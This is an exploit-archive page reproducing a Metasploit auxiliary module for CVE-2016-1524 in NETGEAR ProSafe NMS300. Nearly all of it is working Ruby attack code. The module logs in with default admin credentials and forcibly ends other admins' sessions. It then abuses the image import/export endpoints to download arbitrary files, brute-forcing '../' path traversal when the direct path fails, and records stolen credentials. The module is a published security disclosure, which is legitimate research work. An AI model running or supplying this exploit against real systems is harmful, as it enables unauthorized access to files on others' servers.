NETGEAR ProSafe Network Management System 300 Authenticated File Download Exploit



EKU-ID: 5439 CVE: 2016-1524 OSVDB-ID:
Author: Pedro Ribeiro Published: 2016-03-09 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
  
require 'msf/core'
  
class Metasploit4 < Msf::Auxiliary
  
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'NETGEAR ProSafe Network Management System 300 Authenticated File Download',
      'Description' => %q{
        Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems.
        The application has a file download vulnerability that can be exploited by an
        authenticated remote attacker to download any file in the system..
        This module has been tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13.
      },
      'Author' =>
        [
          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module
        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          ['CVE', '2016-1524'],
          ['US-CERT-VU', '777024'],
          ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear_nms_rce.txt'],
          ['URL', 'http://seclists.org/fulldisclosure/2016/Feb/30']
        ],
      'DisclosureDate' => 'Feb 4 2016'))
  
    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [true"Application path", '/']),
        OptString.new('USERNAME', [true, 'The username to login as', 'admin']),
        OptString.new('PASSWORD', [true, 'Password for the specified username', 'admin']),
        OptString.new('FILEPATH', [false, 'Path of the file to download minus the drive letter', '/Windows/System32/calc.exe']),
      ], self.class)
  
    register_advanced_options(
      [
        OptInt.new('DEPTH', [false, 'Max depth to traverse', 15])
      ], self.class)
  end
  
  def authenticate
    res = send_request_cgi({
      'uri'    => normalize_uri(datastore['TARGETURI'], 'userSession.do'),
      'method' => 'POST',
      'vars_post' => {
        'userName' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      },
      'vars_get' => { 'method' => 'login' }
    })
  
    if res && res.code == 200
      cookie = res.get_cookies
      if res.body.to_s =~ /"loginOther":true/ && res.body.to_s =~ /"singleId":"([A-Z0-9]*)"/
        # another admin is logged in, let's kick him out
        res = send_request_cgi({
          'uri'    => normalize_uri(datastore['TARGETURI'], 'userSession.do'),
          'method' => 'POST',
          'cookie' => cookie,
          'vars_post' => { 'singleId' => $1 },
          'vars_get' => { 'method' => 'loginAgain' }
        })
        if res && res.code == 200 && (not res.body.to_s =~ /"success":true/)
          return nil
        end
      end
      return cookie
    end
    return nil
  end
  
  
  def download_file (download_path, cookie)
    filename = Rex::Text.rand_text_alphanumeric(8 + rand(10)) + ".img"
    begin
      res = send_request_cgi({
        'method' => 'POST',
        'cookie' => cookie,
        'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'config', 'image.do'),
        'vars_get' => {
          'method' => 'add'
        },
        'vars_post' => {
          'realName' => download_path,
          'md5' => '',
          'fileName' => filename,
          'version' => Rex::Text.rand_text_alphanumeric(8 + rand(2)),
          'vendor' =>  Rex::Text.rand_text_alphanumeric(4 + rand(3)),
          'deviceType' => rand(999),
          'deviceModel' => Rex::Text.rand_text_alphanumeric(5 + rand(3)),
          'description' => Rex::Text.rand_text_alphanumeric(8 + rand(10))
        },
      })
  
      if res && res.code == 200 && res.body.to_s =~ /"success":true/
        res = send_request_cgi({
          'method' => 'POST',
          'cookie' => cookie,
          'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'getPage.do'),
          'vars_get' => {
            'method' => 'getPageList',
            'type' => 'configImgManager',
          },
          'vars_post' => {
            'everyPage' => 500 + rand(999)
          },
        })
  
        if res && res.code == 200 && res.body.to_s =~ /"imageId":"([0-9]*)","fileName":"#{filename}"/
          image_id = $1
          return send_request_cgi({
            'uri'    => normalize_uri(datastore['TARGETURI'], 'data', 'config', 'image.do'),
            'method' => 'GET',
            'cookie' => cookie,
            'vars_get' => {
              'method' => 'export',
              'imageId' => image_id
            }
          })
        end
      end
      return nil
    rescue Rex::ConnectionRefused
      print_error("#{peer} - Could not connect.")
      return
    end
  end
  
  
  def save_file(filedata)
    vprint_line(filedata.to_s)
    fname = File.basename(datastore['FILEPATH'])
  
    path = store_loot(
      'netgear.http',
      'application/octet-stream',
      datastore['RHOST'],
      filedata,
      fname
    )
    print_good("File saved in: #{path}")
  end
  
  def report_cred(opts)
    service_data = {
      address: rhost,
      port: rport,
      service_name: 'netgear',
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }
  
    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)
  
    login_data = {
      last_attempted_at: DateTime.now,
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      proof: opts[:proof]
    }.merge(service_data)
  
    create_credential_login(login_data)
  end
  
  
  def run
    cookie = authenticate
    if cookie == nil
      fail_with(Failure::Unknown, "#{peer} - Failed to log in with the provided credentials.")
    else
      print_good("#{peer} - Logged in with #{datastore['USERNAME']}:#{datastore['PASSWORD']} successfully.")
      report_cred(
        user: datastore['USERNAME'],
        password: datastore['PASSWORD'],
        proof: cookie
      )
    end
  
    if datastore['FILEPATH'].blank?
      fail_with(Failure::Unknown, "#{peer} - Please supply the path of the file you want to download.")
      return
    end
  
    filepath = datastore['FILEPATH']
    res = download_file(filepath, cookie)
    if res && res.code == 200
      if res.body.to_s.bytesize != 0 && (not res.body.to_s =~/This file does not exist./) && (not res.body.to_s =~/operation is failed/)
        save_file(res.body)
        return
      end
    end
  
    print_error("#{peer} - File not found, using bruteforce to attempt to download the file")
    count = 1
    while count < datastore['DEPTH']
      res = download_file(("../" * count).chomp('/') + filepath, cookie)
      if res && res.code == 200
        if res.body.to_s.bytesize != 0 && (not res.body.to_s =~/This file does not exist./) && (not res.body.to_s =~/operation is failed/)
          save_file(res.body)
          return
        end
      end
      count += 1
    end
  
    print_error("#{peer} - Failed to download file.")
  end
end